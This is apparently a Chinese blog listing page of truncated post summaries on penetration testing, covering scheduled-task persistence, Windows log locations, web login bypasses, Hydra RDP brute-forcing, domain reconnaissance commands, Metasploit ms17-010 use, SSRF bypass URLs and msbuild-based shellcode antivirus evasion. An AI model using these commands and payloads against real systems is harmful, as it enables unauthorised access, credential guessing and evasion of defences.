摘要：
通过命令行下进行任务设置 也可以通过msf来设置STARTUP为service，来设置计划任务 阅读全文
posted @ 2022-12-04 16:21
kalibb
阅读(61)
评论(0)
推荐(0)
摘要：
开启目标服务器的屏保， 远程桌面打开注册表 阅读全文
posted @ 2022-12-04 16:21
kalibb
阅读(40)
评论(0)
推荐(0)
摘要：
一、日志文件与日志注册表 系统日志： %SystemRoot%\System32\Winevt\Logs\System.evtx 安全日志: %SystemRoot%\System32\Winevt\Logs\Security.evtx 应用程序日志： %SystemRoot%\System32\W 阅读全文
posted @ 2022-12-04 16:15
kalibb
阅读(1429)
评论(0)
推荐(0)
摘要：
web服务突破 一些存在问题的逻辑 任意用户注册 可爆破用户名 爆破用户名，密码 用户名注入 万能密码 用户名Xss 修改返回包信息，登入他人账户 修改cookie中的参数，如user,adminid等 HTML源码、JS等查看信息搜集一章 后台登录参数修改为注册参数/reg、/register、/ 阅读全文
posted @ 2022-12-04 16:06
kalibb
阅读(351)
评论(0)
推荐(0)
摘要：
RDP&Fireawall 爆破 Hydra爆破RDP >hydra -l admin -P /root/Desktop/passwords -S 192.168.0.0 rdp & Nlbrute 注册表开启 查询系统是否允许3389远程连接： >REG QUERY "HKEY_LOCAL_MAC 阅读全文
posted @ 2022-12-04 16:05
kalibb
阅读(380)
评论(0)
推荐(0)
摘要：
文件操作 Windows查找文件 >cd /d E: && dir /b /s index.php >for /r E:\ %i in (index*.php) do @echo %i >powershell Get-ChildItem d:\ -Include index.php -recurse 阅读全文
posted @ 2022-12-04 16:05
kalibb
阅读(58)
评论(0)
推荐(0)
摘要：
信息收集 Cmd >whoami /user 查看当前用户SID >net config Workstation 查看当前计算机信息 >net time /domain 判断主域 错误5：存在域，当前不是域用户 显示时间：存在域，当前是域内用户 找不到域：不存在 >net view /domain 阅读全文
posted @ 2022-12-04 16:04
kalibb
阅读(452)
评论(0)
推荐(0)
摘要：
Metasploit 常规使用 >systemctl start postgresql.service 启动数据库服务 >msfdb init 初始化数据库 >msfconsole进入MSF框架 >search ms17-010 查找攻击模块 >use exploit/windows/smb/ms1 阅读全文
posted @ 2022-12-04 16:04
kalibb
阅读(223)
评论(0)
推荐(0)
摘要：
loT高频率账户密码 查找git和svn的字典 Top 25 重定向dorks Top25 ssrf dorks SSRF Bypass http://127.1/ http://0000::1:80/ http://[::]:80/ http://2130706433/ http://whitel 阅读全文
posted @ 2022-12-04 16:04
kalibb
阅读(97)
评论(0)
推荐(0)
摘要：
MSF shellcode免杀 nps_payload >python nps_payload.py正常生成 >msfconsole -r msbuild_nps.rc开启监听 >%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.x 阅读全文
posted @ 2022-12-04 16:03
kalibb
阅读(319)
评论(0)
推荐(0)
浙公网安备 33010602011771号